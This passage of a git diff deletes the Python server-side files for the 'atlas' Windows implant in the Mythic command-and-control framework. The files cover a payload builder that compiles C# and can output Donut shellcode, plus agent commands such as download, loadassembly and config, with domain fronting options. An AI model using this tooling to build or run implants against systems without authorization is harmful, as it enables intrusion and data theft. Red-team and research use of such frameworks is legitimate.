-
- @c2info.setter
- def c2info(self, c2info):
- self._c2info = c2info
-
- @property
- def build_parameters(self):
- return self._build_parameters
-
- @build_parameters.setter
- def build_parameters(self, build_parameters):
- self._build_parameters = build_parameters
-
- def set_profile_parameter_value(self,
- c2_profile: str,
- parameter_name: str,
- value: any):
- if self.c2info is None:
- raise Exception("Can't set value when c2 info is None")
- for c2 in self.c2info:
- if c2["name"] == c2_profile:
- c2["parameters"][parameter_name] = value
- return
- raise Exception("Failed to find c2 name")
-
- def set_build_parameter_value(self,
- parameter_name: str,
- value: any):
- if self.build_parameters is None:
- raise Exception("Can't set value when build parameters are None")
- for param in self.build_parameters:
- if param["name"] == parameter_name:
- param["value"] = value
- return
- self.build_parameters.append({"name": parameter_name, "value": value})
-
-
-class MythicPayloadRPC(MythicBaseRPC):
- async def get_payload_by_uuid(self, uuid: str) -> MythicPayloadRPCResponse:
- resp = await self.call(
- {"action": "get_payload_by_uuid", "uuid": uuid, "task_id": self.task_id}
- )
- return MythicPayloadRPCResponse(resp)
-
- async def build_payload_from_template(
- self,
- uuid: str,
- destination_host: str = None,
- wrapped_payload: str = None,
- description: str = None,
- ) -> MythicPayloadRPCResponse:
- resp = await self.call(
- {
- "action": "build_payload_from_template",
- "uuid": uuid,
- "task_id": self.task_id,
- "destination_host": destination_host,
- "wrapped_payload": wrapped_payload,
- "description": description,
- }
- )
- return MythicPayloadRPCResponse(resp)
-
- async def build_payload_from_parameters(self,
- payload_type: str,
- c2_profiles: list,
- commands: list,
- build_parameters: list,
- filename: str = None,
- tag: str = None,
- destination_host: str = None,
- wrapped_payload: str = None) -> MythicPayloadRPCResponse:
- """
- :param payload_type: String value of a payload type name
- :param c2_profiles: List of c2 dictionaries of the form:
- { "c2_profile": "HTTP",
- "c2_profile_parameters": {
- "callback_host": "https://domain.com",
- "callback_interval": 20
- }
- }
- :param filename: String value of the name of the resulting payload
- :param tag: Description for the payload for the active callbacks page
- :param commands: List of string names for the commands that should be included
- :param build_parameters: List of build parameter dictionaries of the form:
- {
- "name": "version", "value": 4.0
- }
- :param destination_host: String name of the host where the payload will go
- :param wrapped_payload: If payload_type is a wrapper, wrapped payload UUID
- :return:
- """
- resp = await self.call(
- {
- "action": "build_payload_from_parameters",
- "task_id": self.task_id,
- "payload_type": payload_type,
- "c2_profiles": c2_profiles,
- "filename": filename,
- "tag": tag,
- "commands": commands,
- "build_parameters": build_parameters,
- "destination_host": destination_host,
- "wrapped_payload": wrapped_payload
- }
- )
- return MythicPayloadRPCResponse(resp)
-
- async def build_payload_from_MythicPayloadRPCResponse(self,
- resp: MythicPayloadRPCResponse,
- destination_host: str = None) -> MythicPayloadRPCResponse:
- c2_list = []
- for c2 in resp.c2info:
- c2_list.append({
- "c2_profile": c2["name"],
- "c2_profile_parameters": c2["parameters"]
- })
- resp = await self.call(
- {
- "action": "build_payload_from_parameters",
- "task_id": self.task_id,
- "payload_type": resp.payload_type,
- "c2_profiles": c2_list,
- "filename": resp.filename,
- "tag": resp.tag,
- "commands": resp.commands,
- "build_parameters": resp.build_parameters,
- "destination_host": destination_host,
- "wrapped_payload": resp.wrapped_payload
- }
- )
- return MythicPayloadRPCResponse(resp)
-
- async def register_payload_on_host(self,
- uuid: str,
- host: str):
- """
- Register a payload on a host for linking purposes
- :param uuid:
- :param host:
- :return:
- """
- resp = await self.call(
- {
- "action": "register_payload_on_host",
- "task_id": self.task_id,
- "uuid": uuid,
- "host": host
- }
- )
- return MythicPayloadRPCResponse(resp)
diff --git a/Payload_Types/atlas/mythic/MythicResponseRPC.py b/Payload_Types/atlas/mythic/MythicResponseRPC.py
deleted file mode 100644
index 8ae588a96..000000000
--- a/Payload_Types/atlas/mythic/MythicResponseRPC.py
+++ /dev/null
@@ -1,43 +0,0 @@
-from MythicBaseRPC import *
-import base64
-
-
-class MythicResponseRPCResponse(RPCResponse):
- def __init__(self, resp: RPCResponse):
- super().__init__(resp._raw_resp)
-
-
-class MythicResponseRPC(MythicBaseRPC):
- async def user_output(self, user_output: str) -> MythicResponseRPCResponse:
- resp = await self.call(
- {
- "action": "user_output",
- "user_output": user_output,
- "task_id": self.task_id,
- }
- )
- return MythicResponseRPCResponse(resp)
-
- async def update_callback(self, callback_info: dict) -> MythicResponseRPCResponse:
- resp = await self.call(
- {
- "action": "update_callback",
- "callback_info": callback_info,
- "task_id": self.task_id,
- }
- )
- return MythicResponseRPCResponse(resp)
-
- async def register_artifact(
- self, artifact_instance: str, artifact_type: str, host: str = None
- ) -> MythicResponseRPCResponse:
- resp = await self.call(
- {
- "action": "register_artifact",
- "task_id": self.task_id,
- "host": host,
- "artifact_instance": artifact_instance,
- "artifact": artifact_type,
- }
- )
- return MythicResponseRPCResponse(resp)
diff --git a/Payload_Types/atlas/mythic/MythicSocksRPC.py b/Payload_Types/atlas/mythic/MythicSocksRPC.py
deleted file mode 100644
index 3a1b63df6..000000000
--- a/Payload_Types/atlas/mythic/MythicSocksRPC.py
+++ /dev/null
@@ -1,29 +0,0 @@
-from MythicBaseRPC import *
-
-
-class MythicSocksRPCResponse(RPCResponse):
- def __init__(self, socks: RPCResponse):
- super().__init__(socks._raw_resp)
-
-
-class MythicSocksRPC(MythicBaseRPC):
- async def start_socks(self, port: int) -> MythicSocksRPCResponse:
- resp = await self.call(
- {
- "action": "control_socks",
- "task_id": self.task_id,
- "start": True,
- "port": port,
- }
- )
- return MythicSocksRPCResponse(resp)
-
- async def stop_socks(self) -> MythicSocksRPCResponse:
- resp = await self.call(
- {
- "action": "control_socks",
- "stop": True,
- "task_id": self.task_id,
- }
- )
- return MythicSocksRPCResponse(resp)
diff --git a/Payload_Types/atlas/mythic/PayloadBuilder.py b/Payload_Types/atlas/mythic/PayloadBuilder.py
deleted file mode 100644
index 6333bdbff..000000000
--- a/Payload_Types/atlas/mythic/PayloadBuilder.py
+++ /dev/null
@@ -1,302 +0,0 @@
-from enum import Enum
-from abc import abstractmethod
-from pathlib import Path
-import base64
-from CommandBase import *
-
-
-class BuildStatus(Enum):
- Success = "success"
- Error = "error"
-
-
-class SupportedOS(Enum):
- Windows = "Windows"
- MacOS = "macOS"
- Linux = "Linux"
- WebShell = "WebShell"
- Chrome = "Chrome"
-
-
-class BuildParameterType(Enum):
- String = "String"
- ChooseOne = "ChooseOne"
-
-
-class BuildParameter:
- def __init__(
- self,
- name: str,
- parameter_type: BuildParameterType = None,
- description: str = None,
- required: bool = None,
- verifier_regex: str = None,
- default_value: str = None,
- choices: [str] = None,
- value: any = None,
- verifier_func: callable = None,
- ):
- self.name = name
- self.verifier_func = verifier_func
- self.parameter_type = (
- parameter_type if parameter_type is not None else ParameterType.String
- )
- self.description = description if description is not None else ""
- self.required = required if required is not None else True
- self.verifier_regex = verifier_regex if verifier_regex is not None else ""
- self.default_value = default_value
- if value is None:
- self.value = default_value
- else:
- self.value = value
- self.choices = choices
-
- @property
- def name(self):
- return self._name
-
- @name.setter
- def name(self, name):
- self._name = name
-
- @property
- def parameter_type(self):
- return self._parameter_type
-
- @parameter_type.setter
- def parameter_type(self, parameter_type):
- self._parameter_type = parameter_type
-
- @property
- def description(self):
- return self._description
-
- @description.setter
- def description(self, description):
- self._description = description
-
- @property
- def required(self):
- return self._required
-
- @required.setter
- def required(self, required):
- self._required = required
-
- @property
- def verifier_regex(self):
- return self._verifier_regex
-
- @verifier_regex.setter
- def verifier_regex(self, verifier_regex):
- self._verifier_regex = verifier_regex
-
- @property
- def default_value(self):
- return self._default_value
-
- @default_value.setter
- def default_value(self, default_value):
- self._default_value = default_value
-
- @property
- def value(self):
- return self._value
-
- @value.setter
- def value(self, value):
- if value is None:
- self._value = value
- else:
- if self.verifier_func is not None:
- self.verifier_func(value)
- self._value = value
- else:
- self._value = value
-
- def to_json(self):
- return {
- "name": self._name,
- "parameter_type": self._parameter_type.value,
- "description": self._description,
- "required": self._required,
- "verifier_regex": self._verifier_regex,
- "parameter": self._default_value
- if self._parameter_type == BuildParameterType.String
- else "\n".join(self.choices),
- }
-
-
-class C2ProfileParameters:
- def __init__(self, c2profile: dict, parameters: dict = None):
- self.parameters = {}
- self.c2profile = c2profile
- if parameters is not None:
- self.parameters = parameters
-
- def get_parameters_dict(self):
- return self.parameters
-
- def get_c2profile(self):
- return self.c2profile
-
-
-class CommandList:
- def __init__(self, commands: [str] = None):
- self.commands = []
- if commands is not None:
- self.commands = commands
-
- def get_commands(self) -> [str]:
- return self.commands
-
- def remove_command(self, command: str):
- self.commands.remove(command)
-
- def add_command(self, command: str):
- for c in self.commands:
- if c == command:
- return
- self.commands.append(command)
-
- def clear(self):
- self.commands = []
-
-
-class BuildResponse:
- def __init__(self, status: BuildStatus, payload: bytes = None, message: str = None):
- self.status = status
- self.payload = payload if payload is not None else b""
- self.message = message if message is not None else ""
-
- def get_status(self) -> BuildStatus:
- return self.status
-
- def set_status(self, status: BuildStatus):
- self.status = status
-
- def get_payload(self) -> bytes:
- return self.payload
-
- def set_payload(self, payload: bytes):
- self.payload = payload
-
- def set_message(self, message: str):
- self.message = message
-
- def get_message(self) -> str:
- return self.message
-
-
-class PayloadType:
-
- support_browser_scripts = []
-
- def __init__(
- self,
- uuid: str = None,
- agent_code_path: Path = None,
- c2info: [C2ProfileParameters] = None,
- commands: CommandList = None,
- wrapped_payload: str = None,
- ):
- self.commands = commands
- self.base_path = agent_code_path
- self.agent_code_path = agent_code_path / "agent_code"
- self.c2info = c2info
- self.uuid = uuid
- self.wrapped_payload = wrapped_payload
-
- @property
- @abstractmethod
- def name(self):
- pass
-
- @property
- @abstractmethod
- def file_extension(self):
- pass
-
- @property
- @abstractmethod
- def author(self):
- pass
-
- @property
- @abstractmethod
- def supported_os(self):
- pass
-
- @property
- @abstractmethod
- def wrapper(self):
- pass
-
- @property
- @abstractmethod
- def wrapped_payloads(self):
- pass
-
- @property
- @abstractmethod
- def note(self):
- pass
-
- @property
- @abstractmethod
- def supports_dynamic_loading(self):
- pass
-
- @property
- @abstractmethod
- def c2_profiles(self):
- pass
-
- @property
- @abstractmethod
- def build_parameters(self):
- pass
-
- @abstractmethod
- async def build(self) -> BuildResponse:
- pass
-
- def get_parameter(self, key):
- if key in self.build_parameters:
- return self.build_parameters[key].value
- else:
- return None
-
- async def set_and_validate_build_parameters(self, buildinfo: dict):
- # set values for all of the key-value pairs presented to us
- for key, bp in self.build_parameters.items():
- if key in buildinfo and buildinfo[key] is not None:
- bp.value = buildinfo[key]
- if bp.required and bp.value is None:
- raise ValueError(
- "{} is a required parameter but has no value".format(key)
- )
-
- def get_build_instance_values(self):
- values = {}
- for key, bp in self.build_parameters.items():
- if bp.value is not None:
- values[key] = bp.value
- return values
-
- def to_json(self):
- return {
- "ptype": self.name,
- "file_extension": self.file_extension,
- "author": self.author,
- "supported_os": ",".join([x.value for x in self.supported_os]),
- "wrapper": self.wrapper,
- "wrapped": self.wrapped_payloads,
- "supports_dynamic_loading": self.supports_dynamic_loading,
- "note": self.note,
- "build_parameters": [b.to_json() for k, b in self.build_parameters.items()],
- "c2_profiles": self.c2_profiles,
- "support_scripts": [
- a.to_json(self.base_path) for a in self.support_browser_scripts
- ],
- }
diff --git a/Payload_Types/atlas/mythic/agent_functions/__init__.py b/Payload_Types/atlas/mythic/agent_functions/__init__.py
deleted file mode 100644
index 73103e391..000000000
--- a/Payload_Types/atlas/mythic/agent_functions/__init__.py
+++ /dev/null
@@ -1,6 +0,0 @@
-import glob
-from os.path import basename
-
-# Get file paths of all modules.
-modules = glob.glob("agent_functions/*.py")
-__all__ = [basename(x)[:-3] for x in modules if x != "__init__.py"]
diff --git a/Payload_Types/atlas/mythic/agent_functions/builder.py b/Payload_Types/atlas/mythic/agent_functions/builder.py
deleted file mode 100644
index b45560737..000000000
--- a/Payload_Types/atlas/mythic/agent_functions/builder.py
+++ /dev/null
@@ -1,188 +0,0 @@
-from PayloadBuilder import *
-import uuid
-import asyncio
-import os
-from distutils.dir_util import copy_tree
-import tempfile
-
-
-class Atlas(PayloadType):
-
- name = "atlas"
- file_extension = "exe"
- author = "@Airzero24"
- supported_os = [SupportedOS.Windows]
- wrapper = False
- wrapped_payloads = ["service_wrapper"]
- note = """This payload uses C# to target Windows hosts with the .NET framework installed. For more information and a more detailed README, check out: https://github.com/airzero24/Atlas"""
- supports_dynamic_loading = False
- build_parameters = {
- "version": BuildParameter(
- name="version",
- parameter_type=BuildParameterType.ChooseOne,
- description="Choose a target .NET Framework",
- choices=["4.0", "3.5"],
- ),
- "arch": BuildParameter(
- name="arch",
- parameter_type=BuildParameterType.ChooseOne,
- choices=["x64", "x86"],
- default_value="x64",
- description="Target architecture",
- ),
- "chunk_size": BuildParameter(
- name="chunk_size",
- parameter_type=BuildParameterType.String,
- default_value="512000",
- description="Provide a chunk size for large files",
- required=True,
- ),
- "cert_pinning": BuildParameter(
- name="cert_pinning",
- parameter_type=BuildParameterType.ChooseOne,
- choices=["false", "true"],
- default_value="false",
- required=False,
- description="Require Certificate Pinning",
- ),
- "default_proxy": BuildParameter(
- name="default_proxy",
- parameter_type=BuildParameterType.ChooseOne,
- choices=["true", "false"],
- default_value="true",
- required=False,
- description="Use the default proxy on the system",
- ),
- "output_type": BuildParameter(
- name="output_type",
- parameter_type=BuildParameterType.ChooseOne,
- choices=["WinExe", "Raw"],
- default_value="WinExe",
- description="Output as an EXE or Raw shellcode from Donut",
- ),
- }
- c2_profiles = ["HTTP"]
- support_browser_scripts = [
- BrowserScript(script_name="create_table", author="@its_a_feature_")
- ]
-
- async def build(self) -> BuildResponse:
- # this function gets called to create an instance of your payload
- resp = BuildResponse(status=BuildStatus.Error)
- # create the payload
- stdout_err = ""
- try:
- agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
- # shutil to copy payload files over
- copy_tree(self.agent_code_path, agent_build_path.name)
- file1 = open("{}/Config.cs".format(agent_build_path.name), "r").read()
- file1 = file1.replace("%UUID%", self.uuid)
- file1 = file1.replace("%CHUNK_SIZE%", self.get_parameter("chunk_size"))
- file1 = file1.replace(
- "%DEFAULT_PROXY%", self.get_parameter("default_proxy")
- )
- profile = None
- for c2 in self.c2info:
- profile = c2.get_c2profile()["name"]
- for key, val in c2.get_parameters_dict().items():
- file1 = file1.replace(key, val)
- with open("{}/Config.cs".format(agent_build_path.name), "w") as f:
- f.write(file1)
- defines = ["TRACE"]
- if profile == "HTTP":
- if (
- self.c2info[0].get_parameters_dict()["encrypted_exchange_check"]
- == "T"
- ):
- defines.append("DEFAULT_EKE")
- elif self.c2info[0].get_parameters_dict()["AESPSK"] != "":
- defines.append("DEFAULT_PSK")
- else:
- defines.append("DEFAULT")
- if self.get_parameter("version") == "4.0":
- defines.append("NET_4")
- if self.get_parameter("cert_pinning") is False:
- defines.append("CERT_FALSE")
- command = 'nuget restore ; msbuild -p:TargetFrameworkVersion=v{} -p:OutputType="{}" -p:Configuration="{}" -p:Platform="{}" -p:DefineConstants="{}"'.format(
- "3.5" if self.get_parameter("version") == "3.5" else "4.0",
- "WinExe",
- "Release",
- "x86" if self.get_parameter("arch") == "x86" else "x64",
- " ".join(defines),
- )
- proc = await asyncio.create_subprocess_shell(
- command,
- stdout=asyncio.subprocess.PIPE,
- stderr=asyncio.subprocess.PIPE,
- cwd=agent_build_path.name,
- )
- stdout, stderr = await proc.communicate()
- stdout_err = ""
- if stdout:
- stdout_err += f"[stdout]\n{stdout.decode()}\n"
- if stderr:
- stdout_err += f"[stderr]\n{stderr.decode()}"
- if os.path.exists("{}/Atlas.exe".format(agent_build_path.name)):
- # we successfully built an exe, see if we need to convert it to shellcode
- if self.get_parameter("output_type") != "Raw":
- resp.payload = open(
- "{}/Atlas.exe".format(agent_build_path.name), "rb"
- ).read()
- resp.set_message("Successfully Built")
- resp.status = BuildStatus.Success
- else:
- command = "chmod 777 {}/donut; chmod +x {}/donut".format(
- agent_build_path.name, agent_build_path.name
- )
- proc = await asyncio.create_subprocess_shell(
- command,
- stdout=asyncio.subprocess.PIPE,
- stderr=asyncio.subprocess.PIPE,
- cwd=agent_build_path.name,
- )
- stdout, stderr = await proc.communicate()
- stdout_err += "Changing donut to be executable..."
- stdout_err += stdout.decode()
- stdout_err += stderr.decode()
- stdout_err += "Done."
- if (
- self.get_parameter("arch") == "x64"
- or self.get_parameter("arch") == "Any CPU"
- ):
- command = "{}/donut -f 1 -a 2 {}/Atlas.exe".format(
- agent_build_path.name, agent_build_path.name
- )
- else:
- command = "{}/donut -f 1 -a 1 {}/Atlas.exe".format(
- agent_build_path.name, agent_build_path.name
- )
- proc = await asyncio.create_subprocess_shell(
- command,
- stdout=asyncio.subprocess.PIPE,
- stderr=asyncio.subprocess.PIPE,
- cwd=agent_build_path.name,
- )
- stdout, stderr = await proc.communicate()
- if stdout:
- stdout_err += f"[stdout]\n{stdout.decode()}"
- if stderr:
- stdout_err += f"[stderr]\n{stderr.decode()}"
- if os.path.exists("{}/loader.bin".format(agent_build_path.name)):
- resp.payload = open(
- "{}/loader.bin".format(agent_build_path.name), "rb"
- ).read()
- resp.status = BuildStatus.Success
- resp.message = (
- "Successfully used Donut to generate Raw Shellcode"
- )
- else:
- resp.status = BuildStatus.Error
- resp.message = stdout_err
- resp.payload = b""
- else:
- # something went wrong, return our errors
- resp.set_message(stdout_err)
- except Exception as e:
- resp.set_status(BuildStatus.Error)
- resp.message = "Error building payload: " + str(e) + "\n" + stdout_err
- return resp
diff --git a/Payload_Types/atlas/mythic/agent_functions/cd.py b/Payload_Types/atlas/mythic/agent_functions/cd.py
deleted file mode 100644
index 8c3cb5e4d..000000000
--- a/Payload_Types/atlas/mythic/agent_functions/cd.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from CommandBase import *
-import json
-
-
-class CdArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class CdCommand(CommandBase):
- cmd = "cd"
- needs_admin = False
- help_cmd = "cd [C:\\path\\to\\change\\to]"
- description = "Change current working directory of Atlas instance."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = ""
- argument_class = CdArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/atlas/mythic/agent_functions/config.py b/Payload_Types/atlas/mythic/agent_functions/config.py
deleted file mode 100644
index c6375cd3c..000000000
--- a/Payload_Types/atlas/mythic/agent_functions/config.py
+++ /dev/null
@@ -1,64 +0,0 @@
-from CommandBase import *
-import json
-
-
-class ConfigArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class ConfigCommand(CommandBase):
- cmd = "config"
- needs_admin = False
- help_cmd = "config [info | domain | sleep | jitter | host_header | user_agent | param | proxy] [add | remove | use_default | address | username | password] [options]"
- description = """config base command
-options:
-info display current agent configuration
-domain option to add/remove C2 domain
- add add a C2 domain to list of domains
- remove remove a C2 domain from list of domains (will not let list be less then one domain)
-sleep sleep time between taskings in seconds
-jitter variation in sleep time, specify as a percentage
-kill_date date for agent to exit itself
-host_header host header to use for domain fronting
-user_agent user-agent header for web requests
-param option for query parameter used in GET requests
-proxy option to modify proxy settings
- use_default true/false, choose whether to use system default settings or manual settings specified in config
- address address of proxy server
- username username to authenticate to proxy server
- password password to authenticate to proxy server
-Examples:
-config info
-config domain add http://hello.world
-config sleep 60
-config jitter 20
-config kill_date 2020-03-01
-config host_header cdn.cloudfront.com
-config user_agent Mozilla 5.0 IE blah blah blah
-config param order
-config proxy use_default false
-config proxy address 192.168.1.100
-config proxy username harm.j0y
-config proxy password Liv3F0rTh3Tw!ts
-"""
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = ""
- argument_class = ConfigArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/atlas/mythic/agent_functions/download.py b/Payload_Types/atlas/mythic/agent_functions/download.py
deleted file mode 100644
index ab6e39998..000000000
--- a/Payload_Types/atlas/mythic/agent_functions/download.py
+++ /dev/null
@@ -1,37 +0,0 @@
-from CommandBase import *
-import json
-
-
-class DownloadArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- pass
- else:
- raise ValueError("Missing arguments")
-
-
-class DownloadCommand(CommandBase):
- cmd = "download"
- needs_admin = False
- help_cmd = "download [path to remote file]"
- description = "Download a file from the victim machine to the apfell server in chunks (no need for quotes in the path). It will be saved to app/files/{operation name}/downloads/{hostname}/{filename}"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = ""
- argument_class = DownloadArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/atlas/mythic/agent_functions/exit.py b/Payload_Types/atlas/mythic/agent_functions/exit.py
deleted file mode 100644
index 51de1e282..000000000
--- a/Payload_Types/atlas/mythic/agent_functions/exit.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from CommandBase import *
-import json
-
-
-class ExitArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class ExitCommand(CommandBase):
- cmd = "exit"
- needs_admin = False
- help_cmd = "exit"
- description = "This exits the current atlas instance by leveraging the Environment.Exit class method."
- version = 1
- is_exit = True
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = ""
- argument_class = ExitArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/atlas/mythic/agent_functions/jobkill.py b/Payload_Types/atlas/mythic/agent_functions/jobkill.py
deleted file mode 100644
index 9c2f7698a..000000000
--- a/Payload_Types/atlas/mythic/agent_functions/jobkill.py
+++ /dev/null
@@ -1,46 +0,0 @@
-from CommandBase import *
-import json
-
-
-class JobKillArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "job_id": CommandParameter(
- name="job_id",
- type=ParameterType.String,
- description="The Job Id for the running job to be killed",
- )
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- self.add_arg("job_id", self.command_line)
- else:
- raise ValueError("Missing arguments")
-
-
-class JobKillCommand(CommandBase):
- cmd = "jobkill"
- needs_admin = False
- help_cmd = "jobkill [job id]"
- description = "Kills a running job and removes it from the atlas instance's list of running jobs."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = ""
- argument_class = JobKillArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/atlas/mythic/agent_functions/jobs.py b/Payload_Types/atlas/mythic/agent_functions/jobs.py
deleted file mode 100644
index c13f6f3b8..000000000
--- a/Payload_Types/atlas/mythic/agent_functions/jobs.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from CommandBase import *
-import json
-
-
-class JobsArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class JobsCommand(CommandBase):
- cmd = "jobs"
- needs_admin = False
- help_cmd = "jobs"
- description = "Retrieve a list of currently running jobs"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = ""
- argument_class = JobsArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/atlas/mythic/agent_functions/listloaded.py b/Payload_Types/atlas/mythic/agent_functions/listloaded.py
deleted file mode 100644
index b66a78df5..000000000
--- a/Payload_Types/atlas/mythic/agent_functions/listloaded.py
+++ /dev/null
@@ -1,36 +0,0 @@
-from CommandBase import *
-import json
-
-
-class ListLoadedArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class ListLoadedCommand(CommandBase):
- cmd = "listloaded"
- needs_admin = False
- help_cmd = "listloaded"
- description = (
- "Retrieve a list of .NET assemblies loaded via the loadassembly command. "
- )
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = ""
- argument_class = ListLoadedArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/atlas/mythic/agent_functions/loadassembly.py b/Payload_Types/atlas/mythic/agent_functions/loadassembly.py
deleted file mode 100644
index 71e0ac7cd..000000000
--- a/Payload_Types/atlas/mythic/agent_functions/loadassembly.py
+++ /dev/null
@@ -1,67 +0,0 @@
-from CommandBase import *
-import json
-from MythicFileRPC import *
-
-
-class LoadAssemblyArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "assembly_id": CommandParameter(
- name="assembly_id",
- type=ParameterType.File,
- description="",
- required=False,
- )
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
-
-
-class LoadAssemblyCommand(CommandBase):
- cmd = "loadassembly"
- needs_admin = False
- help_cmd = "loadassembly"
- description = "Load an arbitrary .NET assembly via Assembly.Load and track the assembly FullName to call for execution with the runassembly command. If assembly is loaded through Apfell's services -> host file, then operators can simply specify the filename from the uploaded file"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = ""
- argument_class = LoadAssemblyArguments
- attackmapping = []
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- task.args.add_arg("remote_path", "")
- if task.args.get_arg("assembly_id") is None:
- # the user supplied an assembly name instead of uploading one, see if we can find it
- resp = await MythicFileRPC(task).get_file_by_name(task.args.command_line)
- if resp.status == MythicStatus.Success:
- task.args.add_arg("assembly_id", resp.agent_file_id)
- else:
- raise ValueError(
- "Failed to find file: {}".format(task.args.command_line)
- )
- else:
- filename = json.loads(task.original_params)["assembly_id"]
- resp = await MythicFileRPC(task).register_file(
- file=task.args.get_arg("assembly_id"),
- saved_file_name=filename,
- delete_after_fetch=False,
- )
- if resp.status == MythicStatus.Success:
- task.args.add_arg("assembly_id", resp.agent_file_id)
- else:
- raise ValueError(
- "Failed to register file with Mythic: {}".format(resp.error_message)
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/atlas/mythic/agent_functions/ls.py b/Payload_Types/atlas/mythic/agent_functions/ls.py
deleted file mode 100644
index 9a99c0961..000000000
--- a/Payload_Types/atlas/mythic/agent_functions/ls.py
+++ /dev/null
@@ -1,35 +0,0 @@
-from CommandBase import *
-import json
-
-
-class LsArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class LsCommand(CommandBase):
- cmd = "ls"
- needs_admin = False
- help_cmd = "ls [path]"
- description = "List contents of specified directory."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = ""
- argument_class = LsArguments
- attackmapping = []
- browser_script = BrowserScript(script_name="ls", author="@its_a_feature_")
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/atlas/mythic/agent_functions/ps.py b/Payload_Types/atlas/mythic/agent_functions/ps.py
deleted file mode 100644
index f3c03686a..000000000
--- a/Payload_Types/atlas/mythic/agent_functions/ps.py
+++ /dev/null
@@ -1,35 +0,0 @@
-from CommandBase import *
-import json
-
-
-class PsArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class PsCommand(CommandBase):
- cmd = "ps"
- needs_admin = False
- help_cmd = "ps"
- description = "Gather list of running processes."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = True
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = ""
- argument_class = PsArguments
- attackmapping = []
- browser_script = BrowserScript(script_name="ps", author="@its_a_feature_")
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/atlas/mythic/agent_functions/pwd.py b/Payload_Types/atlas/mythic/agent_functions/pwd.py
deleted file mode 100644
index 991f34e4a..000000000
--- a/Payload_Types/atlas/mythic/agent_functions/pwd.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from CommandBase import *
-import json
-
-
-class PwdArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class PwdCommand(CommandBase):
- cmd = "pwd"
- needs_admin = False
- help_cmd = "pwd"
- description = "Get current working directory of Atlas instance."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = ""
- argument_class = PwdArguments
- attackmapping = []
-
